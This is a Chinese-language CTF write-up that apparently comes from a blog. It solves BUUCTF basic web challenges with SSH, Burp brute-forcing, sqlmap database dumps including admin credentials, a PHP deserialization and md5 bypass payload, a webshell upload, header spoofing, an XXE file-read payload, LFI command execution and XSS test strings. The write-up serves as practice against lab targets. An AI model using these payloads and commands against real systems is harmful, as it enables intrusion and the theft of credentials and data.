【BUUCTF练习——Basic1】

1、Linux Labs

查看题目
点击启动靶机可以启动一台安装好了 LAMP 的机器。
打开网页后看源码也没看出什么了,由题目推测就是连接ssh,可以用kali或者xshell,我这用的kali

1、用whatweb命令看看服务器IP,117.21.200.176

// An highlighted block
whatweb http://b4519574-9646-471d-ab04-b8330b88f792.node5.buuoj.cn:81/?C=S;O=A;

在这里插入图片描述
2、接着使用ssh命令,用户名@地址 -p 端口号。注意:这里因为不是常规的22端口连接,需要特别加-p这个参数后面跟上端口号(ps:用户名、密码、端口号在题目里面已经给了)

// An highlighted block
ssh root@117.21.200.176 -p 29930

在这里插入图片描述
3、成功登录进去,ls看看当前目录,啥也没有,cd到根目录,看到flag.txt,cat查看,获取到flag在这里插入图片描述

2、BUU BRUTE 1

1、打开靶机,用户名尝试root和admin,到admin的时候提示密码错误,为四位数字,尝试爆破。
在这里插入图片描述
2、打开burp,抓包,密码的位置添加playload
在这里插入图片描述
3、四位数字嘛,按图设置好,开始爆破
在这里插入图片描述
4、根据长度不同,爆破出密码为6490,查看响应,获取到flag

在这里插入图片描述

3、BUU SQL COURSE

1、都点了一遍,没发现可以注入攻击的地方,尝试抓个包
在这里插入图片描述
2、点测试新闻1、2、3都行,发现了注入点

在这里插入图片描述
3、上sqlmap,sqlmpa -u 地址

// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1

在这里插入图片描述
4、查看当前数据库

// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1 --current-db 

在这里插入图片描述

5、爆表

// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -tables

在这里插入图片描述
6、查看admin表的所有信息,获取到管理员的账号密码

// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin --dump

在这里插入图片描述
7、登录,获取flag
在这里插入图片描述

4、BUU CODE REVIEW 1

在这里插入图片描述
代码审计:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {    //创建一个类
   public $correct = "";  //公有属性
   public $input = ""; //公有属性

   public function __destruct() {         //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
       try {
           $this->correct = base64_encode(uniqid());   //给correct赋值为base64_encode(uniqid()) //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
           if($this->correct === $this->input) {     
               echo file_get_contents("/flag");           //courrect 和input强相等,输出flag文件
           }
       } catch (Exception $e) {   //抓获错误信息
       }
   }
}

if($_GET['pleaseget'] === '1') {       //get传参,pleaseget等于1
    if($_POST['pleasepost'] === '2') {     //post传参,oleaspost等于2
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {     //post传参,md51弱相等md52
            unserialize($_POST['obj']);  //反序列化post传参,obj
        }
    }
}

来,一步一步解决。
一、解决md51弱相等md52
1、可以用科学计数法,原理是php里面在做 == 的时候会对哈希值进行比较,因为哈希是0e开头,php会认为它是科学计数法,而0的多少次方都是0。因此将0e开头的数字进行md5加密就可以了,常用的绕过值有:QNKCDZO、s155964671a、s1091221200a
2.数组绕过,原理是 md5 等函数不能处理数组,导致函数返回null。而null是等于null的,导致了绕过。例如:md51[]=1&md52[]=2

二、解决courrect 和input强相等
构造php语句,将obj的值序列化,再传进去。

<?php
class BUU{
    public $correct="";
    public $input="";
}

$obj = new BUU; 
$obj->input=&$obj->correct; ////BUU类中的correct和input内容强相等,这里利用传引用的方法
echo serialize($obj);
?>

其实可以直接复制原文代码,加上echo serialize($obj)就行了,虽然会报错,但是也能有结果。
O:3:“BUU”:2:{s:7:“correct”;s:0:“”;s:5:“input”;R:2;}
在这里插入图片描述
最后,利用hackbar,传参。拿到flag{f3fe9a93-bce3-414a-a539-15d73c3b55e1}

http://22ee82d5-9cff-47a5-89cb-ed93dda4bac5.node5.buuoj.cn:81/?pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

在这里插入图片描述

5、BUU UPLOAD COURSE 1

在这里插入图片描述
1、是个文件上传,首先我们可以想到的是上传一个php木马,然后上传,判断是什么过滤,然后一一测试。
随便上传一个文件,发现文件后缀被改成了jpg
在这里插入图片描述
2、用哥斯拉生成的一句话木马文件试试,文件名改为2.php,上传,连接
在这里插入图片描述
3、连接成功,查看跟目录,发现flag文件,提交
在这里插入图片描述

6、sqli-labs

打开发现是一个sql注入的练习靶场,这道题就做less-1找flag,可以依次都练练。
在这里插入图片描述

1、打开发现提示参数是id,?id测试一下,有回显,考虑直接上sqlmap在这里插入图片描述
在这里插入图片描述
2、注入,看当前数据库

sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 --current-db

在这里插入图片描述
3、直接就是一个看sercurity数据库里所有表(先查看过一共四个表)的数据的动作,结果没想到没有flag,那看来在其他数据库里

sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 -D sercurity --dump

4、ctftraining这个库名看起来比较像有flag的样子,重复3步骤。

sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 -D sercurity --dump

在这里插入图片描述
5、直接dump,过程中有密码存储问你要不要hash解密,输入N就行了,然后发现flag。当然先查看表,发现分别命名为flag,news,users,一眼flag,再dump里面的flag表也一样的。

sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 -D ctftraining --dump      

在这里插入图片描述

7、BUU BURP COURSE 1

1、打开网页,提示只能本地访问,burp抓包吧
在这里插入图片描述
2、在请求头里加伪造本地IP,发现返回了登录用户和密码
http请求头里可以用X-Forwarded-For,X-Real-IP
区别:
(1)X-Forwarded-For:是用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中并且用逗号分隔。
(2)X-Real-IP:一般只记录真实发出请求的客户端IP
在这里插入图片描述
3、登录后面发现也提示本地登录,那就再加一次请求头,拿到flag
在这里插入图片描述

8、BUU XXE COURSE 1

1、打开发现是一个登录页面,随便输入账号密码,发现有弹窗,抓包看看。
在这里插入图片描述
2、抓包发现xml,怀疑是xxe代码漏洞
(1)漏洞简介
XXE(XML External Entity Injection)即 “XML 外部实体注入漏洞”。

攻击者通过向服务器注入指定的 XML 实体内容,从而让服务器按照指定的配置执行,导致问题产生。(实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。)

我们在向服务器上传的文档中使用外部实体 (通过引用定义在外部的 DTD 中的实体,我们称之为外部实体) 来访问我们的 flag

有人可能会问 flag 也不会是 dtd 文件啊,我们在使用外部实体访问的时候,会对我们访问的文件进行检查是否为 dtd 文件,此时如果没有检测的话,就可以引用非dtd文件
造成漏洞,这就是xxe

服务端接收和解析了来自用户端的 XML 数据,又没有做严格的安全控制,从而导致 XXE 漏洞得以被利用,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。

(2)参考链接:
xml语法
XXE的原理利用方式及修复
XML——XML文件约束之DTD详解
XML的实体–ENTITY
在这里插入图片描述

3、构造payload,拿到flag

<!DOCTYPE root[                               //抓包可知文件名为root
<!ENTITY a SYSTEM "file:///flag">    //创建外部实体a,指向系统文件flag
]>
<root>
<name>&a;</name>                      //调用系统文件
</root>
ENTITY的定义语法:
<!DOCTYPE  文件名 [
<!ENTITY  实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用。

在这里插入图片描述

9、LFI labs1

进去后有提示,意思是将执行cmd参数的传参,试一下命令,直接拿flag
在这里插入图片描述

10、BUU XSS COURSE 1

小白步骤详细参考链接
如题,应该是xss漏洞
1、登录发现有吐槽和登录两个页面,先看吐槽页面,输入1,发现给了一个网页,打开发现显示了刚刚输入的1,试一下常用的xss playload。
这里可以判断,大概率是存储性XSS漏洞(是一种常见的网络安全漏洞,它允许攻击者将恶意脚本存储在服务器上,并在用户访问受影响页面时执行这些脚本。与反射型XSS不同,反射型XSS是瞬时的,通常依赖于用户提交的输入,而存储型XSS是持久性的,恶意脚本被永久存储在数据库或服务器上。)
在这里插入图片描述
在这里插入图片描述

2、常用的xss playload,发现用img标签的时候,返回了图片,说明存在漏洞

<script>alert(1)</script>
<img src="#">
<svg onload=alert(1)>

在这里插入图片描述
在这里插入图片描述
3、下面的步骤应该是找一个XSS的平台,然后把平台的payload上传到吐槽框里,再查看访问记录,利用admin的cookie值访问。但是,我找了几个XSS平台,都没有admin的访问记录,只抓到吐槽框页面的,根本不行啊,先放这记录吧。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值